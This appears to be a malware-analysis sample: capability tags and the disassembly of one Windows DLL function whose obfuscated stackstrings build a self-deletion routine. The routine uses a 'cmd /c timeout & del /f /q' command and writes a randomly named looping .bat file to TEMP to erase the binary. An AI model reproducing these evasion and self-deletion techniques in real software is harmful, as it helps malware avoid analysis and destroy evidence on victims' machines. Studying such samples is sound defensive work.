Function at 0x10004140
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Query environment variable

Disassembly:
sub esp, 0xe04
mov eax, dword [esp + 0xe14]
mov dword [0x100386a0], eax
mov eax, dword [esp + 0xe10]
mov dword [0x100386a4], eax
mov eax, dword [esp + 0xe0c]
mov dword [0x100386a8], eax
lea eax, [esp + 0x70]
push eax
mov dword [esp + 0x74], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp dword [esp + 0x70], 0
je 0x10004193
push 0
call dword [sym.imp.KERNEL32.dll_Wow64EnableWow64FsRedirection]
push esi
push 0x103
lea eax, [esp + 0x2f1]
mov byte [esp + 0x2f0], 0
push 0
push eax
call fcn.1000a3e0
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x2f8]
add esp, 0xc
push 0x104
push eax
push 0
call esi
call fcn.10001d60
test al, al
jne 0x100046ba
call fcn.10001f80
test al, al
jne 0x100046ba
call fcn.100021b0
test al, al
jne 0x100042b5
call fcn.100023b0
test al, al
jne 0x100042b5
push 0x1002d504
lea ecx, [esp + 0x44]
call fcn.10005290
lea eax, [esp + 0x2ec]
mov dword [esp + 9], 0x632f2064
push eax
lea eax, [esp + 8]
mov dword [esp + 0x2c], 0x2f20662f
push eax
lea eax, [esp + 0x600]
mov dword [esp + 0x37], 0x227325
push eax
mov dword [esp + 0x25], 0x646d6320
mov dword [esp + 0x20], 0x20362074
mov dword [esp + 0x2f], 0x6c656420
mov dword [esp + 0x29], 0x20642f20
mov word [esp + 0x39], 0x2220
mov word [esp + 0x1e], 0x756f
mov dword [esp + 0x11], 0x2f20646d
mov dword [esp + 0x19], 0x6d697420
mov word [esp + 0x2d], 0x632f
mov byte [esp + 0x38], 0x71
mov byte [esp + 0x1d], 0x65
mov byte [esp + 0x33], 0x20
mov byte [esp + 0x24], 0x26
mov byte [esp + 0x10], 0x63
call fcn.10003500
add esp, 0xc
lea eax, [esp + 0x5f8]
lea ecx, [esp + 0x40]
push eax
call fcn.10005730
jmp 0x1000479b
push ebx
push ebp
push 0x103
lea eax, [esp + 0x3fd]
mov byte [esp + 0x3fc], 0
push 0
push eax
call fcn.1000a3e0
push 0x103
lea eax, [esp + 0xfd]
mov byte [esp + 0xfc], 0
push 0
push eax
call fcn.1000a3e0
push 0x40f
lea eax, [esp + 0x61d]
mov byte [esp + 0x61c], 0
push 0
push eax
call fcn.1000a3e0
push 0x103
lea eax, [esp + 0x525]
mov byte [esp + 0x524], 0
push 0
push eax
call fcn.1000a3e0
push 0x103
lea eax, [esp + 0x225]
mov byte [esp + 0x224], 0
push 0
push eax
call fcn.1000a3e0
add esp, 0x3c
lea eax, [esp + 0x3f8]
push 0x104
push eax
push 0
call esi
push 0x104
lea eax, [esp + 0x500]
mov word [esp + 0x5b], 0x50
push eax
lea eax, [esp + 0x5c]
mov word [esp + 0x5c], 0x4554
push eax
mov byte [esp + 0x62], 0x4d
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
xor ecx, ecx
mov dword [esp + 0x5d], 0x756f6965
cmp ecx, eax
mov word [esp + 0x61], 0x79
lea eax, [esp + 0x4fc]
mov byte [esp + 0x5c], 0x61
sbb ebp, ebp
mov dword [esp + 0x66], 0x68676664
and ebp, eax
mov word [esp + 0x6f], 0x7170
mov word [esp + 0x72], 0x7473
mov dword [esp + 0x6a], 0x6d6c6b6a
mov dword [esp + 0x75], 0x7a7877
mov word [esp + 0x64], 0x6362
mov byte [esp + 0x6e], 0x6e
mov byte [esp + 0x74], 0x76
mov byte [esp + 0x71], 0x72
call fcn.10006f20
push 9
lea ecx, [esp + 0x84]
mov dword [esp + 0x84], 0x100386d8
mov dword [esp + 0x88], 0x20
mov dword [esp + 0x8c], 0xffffffff
call fcn.10007440
xor ebx, ebx
lea esi, [eax - 0x7fffffff]
add esi, 0x80000000
test esi, esi
js 0x100044c1
jmp 0x10004430
test bl, 1
je 0x10004474
push 6
lea ecx, [esp + 0x84]
mov dword [esp + 0x84], 0x100386d8
mov dword [esp + 0x88], 0x20
mov dword [esp + 0x8c], 0xffffffff
call fcn.10007440
add eax, 0x80000000
add eax, 0x80000000
mov al, byte [esp + eax + 0x5c]
jmp 0x100044b1
push 0x14
lea ecx, [esp + 0x90]
mov dword [esp + 0x90], 0x100386d8
mov dword [esp + 0x94], 0x20
mov dword [esp + 0x98], 0xffffffff
call fcn.10007440
add eax, 0x80000000
add eax, 0x80000000
mov al, byte [esp + eax + 0x64]
mov byte [esp + ebx + 0x1f0], al
inc ebx
cmp ebx, esi
jle 0x10004430
push 0xffffffffffffffff
lea eax, [esp + 0x50]
mov dword [esp + 0x51], 0x746162
push eax
lea eax, [esp + 0x1f8]
mov byte [esp + 0x54], 0x2e
push 0x104
push eax
call fcn.1000a0db
push 0xffffffffffffffff
push ebp
lea eax, [esp + 0x104]
push 0x104
push eax
call fcn.1000a18d
push 0xffffffffffffffff
push 0x1002d510
lea eax, [esp + 0x114]
push 0x104
push eax
call fcn.1000a0db
push 0xffffffffffffffff
lea eax, [esp + 0x224]
push eax
lea eax, [esp + 0x124]
push 0x104
push eax
call fcn.1000a0db
add esp, 0x40
mov word [esp + 0x24], 0xd22
lea eax, [esp + 0xec]
mov dword [esp + 0x3a], 0xd797274
mov dword [esp + 0x34], 0x746f6720
mov word [esp + 0x14], 0xd66
push eax
lea eax, [esp + 0x3fc]
mov word [esp + 0x42], 0x640a
push eax
push eax
lea eax, [esp + 0x18]
mov dword [esp + 0x27], 0x65640a0d
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x614]
mov word [esp + 0x55], 0x206c
push 0x410
push eax
mov dword [esp + 0x29], 0x6f686365
mov dword [esp + 0x43], 0x65206669
mov dword [esp + 0x32], 0x72743a0a
mov dword [esp + 0x3b], 0x2522206c
mov dword [esp + 0x4c], 0x22732522
mov word [esp + 0x2d], 0x6f20
mov word [esp + 0x60], 0x73
mov byte [esp + 0x42], 0xa
mov dword [esp + 0x47], 0x74736978
mov byte [esp + 0x5c], 0x65
mov word [esp + 0x54], 0x206f
mov byte [esp + 0x28], 0x40
mov byte [esp + 0x5f], 0x25
mov byte [esp + 0x36], 0x79
mov byte [esp + 0x3f], 0x73
mov byte [esp + 0x4b], 0x20
mov byte [esp + 0x2f], 0x66
call fcn.1000a28a
push 0
push 0x80
push 2
push 0
push 3
lea eax, [esp + 0x11c]
push 0xc0000000
push eax
call fcn.100028b0
add esp, 0x38
lea ecx, [esp + 0x600]
mov esi, eax
lea edx, [ecx + 1]
pop ebp
pop ebx
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10004630
push 0
lea eax, [esp + 0x44]
sub ecx, edx
push eax
push ecx
lea eax, [esp + 0x604]
push eax
push esi
call fcn.10002dc0
push esi
call fcn.10002af0
push 0x44
lea eax, [esp + 0xac]
push 0
push eax
call fcn.1000a3e0
add esp, 0x24
mov dword [esp + 0x90], 0x44
xor eax, eax
mov dword [esp + 0xbc], 1
mov word [esp + 0xc0], ax
lea eax, [esp + 0xd4]
push eax
lea eax, [esp + 0x94]
push eax
push 0
push 0
push 0x50
push 0
push 0
push 0
lea eax, [esp + 0x104]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
jmp 0x100047c7
push 0x1002d504
lea ecx, [esp + 0x44]
call fcn.10005290
lea eax, [esp + 0x2ec]
mov dword [esp + 7], 0x20642f20
push eax
lea eax, [esp + 8]
mov dword [esp + 0x2c], 0x662f2065
push eax
lea eax, [esp + 0xa10]
mov word [esp + 0x21], 0x6320
push eax
mov dword [esp + 0x20], 0x20342074
mov word [esp + 0x11], 0x646d
mov dword [esp + 0x3b], 0x73252220
mov dword [esp + 0x30], 0x73617265
mov word [esp + 0x3f], 0x22
mov dword [esp + 0x2a], 0x2f20642f
mov dword [esp + 0x1b], 0x6f656d69
mov word [esp + 0x18], 0x2063
mov byte [esp + 0x10], 0x63
mov word [esp + 0x38], 0x2f20
mov word [esp + 0x28], 0x2064
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1f], 0x75
mov byte [esp + 0x24], 0x26
mov byte [esp + 0x3a], 0x71
mov word [esp + 0x2e], 0x2063
mov byte [esp + 0x17], 0x2f
mov byte [esp + 0x27], 0x6d
call fcn.10003500
lea ecx, [esp + 0xa14]
add esp, 0xc
lea edx, [ecx + 1]
jmp 0x10004780
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10004780
sub ecx, edx
lea eax, [esp + 0xa08]
push ecx
push eax
lea ecx, [esp + 0x48]
call fcn.10006310
push 0
push dword [esp + 0x44]
call fcn.10003250
mov edx, dword [esp + 0x48]
or ecx, 0xffffffff
add edx, 0xfffffff0
add esp, 8
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x100047c7
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
cmp dword [esp + 0x74], 0
pop esi
je 0x100047d7
push 1
call dword [sym.imp.KERNEL32.dll_Wow64EnableWow64FsRedirection]
add esp, 0xe04
ret